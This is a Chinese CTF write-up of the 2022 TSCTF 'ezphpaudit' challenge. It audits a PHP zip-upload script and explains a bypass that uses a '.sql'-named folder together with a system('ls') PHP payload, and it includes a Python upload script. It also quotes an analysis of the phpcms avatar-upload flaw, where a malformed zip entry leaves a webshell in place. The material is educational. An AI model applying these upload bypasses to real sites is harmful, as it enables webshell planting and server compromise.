2022TSCTF ezphpaudit 学习
非预期
打开环境,F12发现提示?source,尝试输入?source=index.php,发现源码,进行代码审计。
<?php
echo "<!--?source-->";
error_reporting(0);
#传参$res = fzip_open($f_path, $tagdir);
#把zip解压到tagdir中
function fzip_open($fzip = '',$tagdir = '')
{
#检测是否存在文件和目录
if (file_exists($fzip) && is_dir($tagdir)) {
#定义一个ZipArchive类
$zip = new ZipArchive;
try{
#打开zip
$status = $zip->open($fzip);
#extractTO 将压缩包解压到指定文件$zip->extractTo('test');这里解压到tagdir中
$status = $zip->extractTo($tagdir);
#关闭zip
$zip->close();
return $status;
}catch(Exception $e){
return false;
}
}
return false;
}
#$f_path= $userdir."/".$name;
#$userdir = "./sandbox/user_".md5($_SERVER['REMOTE_ADDR']).'/';
#$tagdir = $userdir . 'tmp_' . $random.'/';
#moveSqlFile($tagdir, $userdir);传参
function moveSqlFile($old_path, $target_path)
{
#打开一个目录,读取它的内容,然后关闭。成功则返回目录句柄资源。失败则返回 FALSE。
$handle = opendir($old_path);
#readdir() 函数返回目录中下一个文件的文件名。
while (false !== $file = (readdir($handle))) {
if ($file == '.' || $file == '..') {
continue;
}
· #截取后四位字符
$substr = substr($file, -4);
if ($substr === '.sql') {
rename($old_path . '/' . $file, $target_path . $file);
}
}
closedir($handle);
if (is_dir($old_path)) {
#删除old_path
deldir($old_path);
}
}
function deldir($dir) {
//先删除目录下的文件:
$dh = opendir($dir);
while ($file = readdir($dh)) {
if($file != "." && $file!="..") {
$fullpath = $dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
deldir($fullpath);
}
}
}
closedir($dh);
//删除当前文件夹:
if(rmdir($dir)) {
return true;
} else {
return false;
}
}
if(isset($_GET['source'])){
highlight_file(__FILE__);
}
$userdir = "./sandbox/user_".md5($_SERVER['REMOTE_ADDR']).'/';
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
#返回后缀名
$extension = substr($name, strrpos($name,".")+1);#strops查找最后一次出现的位置,对大小写敏感
$f_path= $userdir."/".$name;
#返回后缀名
$extension = substr($name, strrpos($name,".")+1);
#检测后缀名是否含有ph
if(preg_match("/ph/i",$extension)) die("No Hacker");
#mb_strpos查找一个字符在字符串中首次出现的位置
#下面的语句ban掉了<?
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("No Hacker");
#将上传的文件移动到目录下
@move_uploaded_file($tmp_name, $f_path);
#输出目录
print_r($f_path);
#如果后缀是zip
if($extension == 'zip'){
$patten = "0123456789abcdef";#16位
$random = '';
#下面循环生成一个四位的十六进制数
while(true) {
if (strlen($random) < 4) {
#从0-16随机生成一个数
$rand = rand(0, strlen($patten));
#换为16进制
$random .= substr($patten, $rand, 1);
} else {
break;
}
}
#$f_path= $userdir."/".$name;
#$userdir = "./sandbox/user_".md5($_SERVER['REMOTE_ADDR']).'/';
$tagdir = $userdir . 'tmp_' . $random.'/';
mkdir($tagdir);
#调用上面的函数,要求返回值为真
$res = fzip_open($f_path, $tagdir);
if ($res) {
#调用上面的含数,想办法利用
moveSqlFile($tagdir, $userdir);
}
}
}
?>
简单来说,是要利用.sql的后缀将zip文件中的东西逃逸出来,同时ban掉了php和<?
。
先考虑逃逸的问题,最初想要利用::$DATA
等来让服务器解析为.php,用了很多的方法都没有成功绕过后缀.sql。
发现当文件夹名后四位为.sql时,也会逃逸出来。于是命名文件夹为.sql,在文件夹里面放上php脚本,成功将脚本打出zip。
接下来解决<?
的问题,最初考虑使用<script>
标签绕过,发现PHP7以上版本将该方法禁用了。
后面考虑将PHP脚本进行base64编码,然后通过.htaccess配置文件将其解码,但尝试后发现,网站为nginx模板,.htaccess没法使用,同时同目录下也没有可用的php文件,没法使用.user.ini绕过。
搜file_get_contents源码
//file.c (ext\standard) line 523 : PHP_FUNCTION(file_get_contents)
PHP_FUNCTION(file_get_contents)
{
//省略好多
stream = php_stream_open_wrapper_ex(filename, "rb",
(use_include_path ? USE_PATH : 0) | REPORT_ERRORS,
NULL, context);
//省略好多
}
发现file_get_contents是以二进制的形式将文件写入的,猜测可以用二进制编码绕过,在本地尝试
f = open(r'C:\Users\Kingkb\Desktop\test.zip', 'rb')
a=f.read()
print(a)
发现一般情况下文件都是按字符读取的,但是当内容为
<?php /*test*/ /*test*/ /*test*/ system('ls');
的时候,文件会以二进制的形式打开,从而绕过了<?的判断。
发包payload:
import requests
url = 'http://10.7.2.148/'
files = {'file': open(r'C:\Users\Kingkb\Desktop\test.zip', 'rb')}
#data = {'xxx': xxx, 'xxx': xxx}
response = requests.post(url, files=files)
print(response.text)
赛题学习
以下摘自p神博客:回忆phpcms头像上传漏洞以及后续影响
主要见0x03处的分析。
源码:
<?php
// 创建图片存储的临时文件夹
$temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/';
if (!file_exists($temp)) {
mkdir($temp, 0777);
}
$filename = $temp.'avatar.zip'; // 存储flashpost图片
file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);
// 解压缩文件
$this->load->library('Pclzip');
$this->pclzip->PclFile($filename);
if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) {
exit($this->pclzip->zip(true));
}
@unlink($filename);
其中一段代码
<?php
if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
exit($this->pclzip->zip(true));
}
当解压发生失败时,就退出解压缩过程。
这也是一个很平常的思路,失败了肯定要报错并退出,因为后面的代码没法运行了。但是,程序员不会想到,有些压缩包能在解压到一半的时候出错。
什么意思,也就说我可以构造一个“出错”的压缩包,它可以解压出部分文件,但绝对会在解压未完成时出错。这是造成了一个状况:我上传的压缩包被解压了一半,webshell被解压出来了,但因为解压失败这里exit($this->pclzip->zip(true));退出了程序执行,后面一切的删除操作都没有了作用。
根据源码逻辑可以分析出我们的目标是让zip包解压出错,然后让访问解压一半出来的文件。
这里利用的trick就是在linux下,zip中文件名为/////会导致解压报错,只要构造一个1.php+/////的压缩包,就可以让1.php保留下来,因为报错而无法执行删除动作。
注意要用hex编辑器对文件进行重命名,推荐使用010editor,下载方式
随便新建一个文件夹,里面放入php脚本和一个随意的文件,以1.txt为例。
修改后保存
尝试解压
最后得到的文件夹